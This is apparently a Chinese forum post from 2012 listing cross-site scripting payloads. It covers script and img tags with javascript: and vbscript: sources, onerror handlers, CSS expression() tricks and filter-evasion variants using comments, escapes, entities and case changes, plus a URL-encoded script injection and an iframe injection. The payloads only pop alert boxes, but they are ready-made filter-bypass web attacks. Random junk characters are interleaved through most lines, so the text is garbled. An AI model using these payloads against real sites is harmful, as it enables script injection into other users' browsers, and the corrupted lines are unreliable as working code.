<script>alert("跨站")</script> (最常用）
2 ]! x, ^% `6 _<img scr=javascript:alert("跨站")></img>8 R7 p! u( n9 G% B) @/ N% E9 w" f
<img scr="javascript: alert(/跨站/)></img>
c7 M7 T/ H( }4 z; o- {! ~<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）; c, u3 b% T; K- c9 Q! L" P' e6 Z
<img scr="#" onerror=alert(/跨站/)></img>, D2 S7 U6 \. M* h# x6 i
<img scr="#" style="xss:expression(alert(/xss/));"></img>
, h$ B$ v) h7 N& K; F3 P<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）& `, _' A1 y* g1 B- [4 _
<img src=vbscript:msgbox ("xss")></img>; N) W* n/ a, b: S* l1 o
<style> input {left:expression (alert('xss'))}</style>0 _$ ]! c& @' s6 U2 e. @
<div style={left:expression (alert('xss'))}></div>
- N# }. @' h5 j; S. x0 ?! q! s<div style={left:exp/* */ression (alert('xss'))}></div>0 s( e' m0 `2 o7 F9 }
<div style={left:\0065\0078ression (alert('xss'))}></div>1 K! i% N4 l) A4 z1 Y' A
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>9 s! K* O9 Q- E/ }& `& [
unicode <div style="{left:expRessioN (alert('xss'))}">
; ?, J) z) z0 L3 W# a
" T& X) j: H, M/ s9 K"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
; R S0 i7 B4 W! ] |
发表于 2012-9-15 14:09:13
收藏
支持
反对